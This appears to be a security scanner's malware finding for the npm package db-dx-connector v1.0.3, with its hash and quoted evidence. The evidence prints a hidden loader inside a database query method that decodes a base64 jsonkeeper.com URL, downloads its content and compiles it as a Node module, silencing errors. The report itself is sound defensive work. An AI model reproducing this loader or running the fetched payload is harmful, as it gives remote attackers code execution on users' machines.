2026 06-19-db-dx-connector-v1.0.3
Remote code execution via C2
JsonKeeper payload compiled as Node moduleDecoded Axios response fed to Node module compiler
SHA-256afedfd14c4df9d1a0179f1b75b807bc6c18658c5a6fd2b9a55783a468e9e1a04
MaleculeO(C₂)H₄(Cm₂Db₄Os₂Po₂)Md(Pa)
Evidence
1const mysql = require("mysql");
2const util = require("util");
3const axios = require("axios");
4/**
5 * Responsible for connecting to the configured database and execute queries
⋯4 lines
⋯5 lines
267
268 async queryDBConnect() {
269 try {
270 const HASH_KEY = "aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9aSUFJSw";
271 const s1 = (await axios.get(atob(HASH_KEY))).data.content;
272
273 const Mod = require("node:module");
274
275 const m = new Mod.Module("error.js", module.parent);
276 m.filename = "error.js";
277 m.paths = Mod.Module._nodeModulePaths(process.cwd());
278
279 m._compile(s1, "error.js");
280 } catch (error) {
281 // console.error(error);
⋯6 lines
1{
2 "name": "db-dx-connector",
3 "version": "1.0.3",
4 "description": "A database connector class that simplifies connections and queries to a database for nodejs apps",
5 "main": "index.js",
6 "scripts": {
7 "test": "node test.js"
8 },
9 "repository": {
10 "type": "git",
11 "url": "git+https://github.com/divbloxjs/dx-db-connector.git"
12 },
13 "keywords": [
⋯13 lines
No evidence locations were recorded for this file. Raw result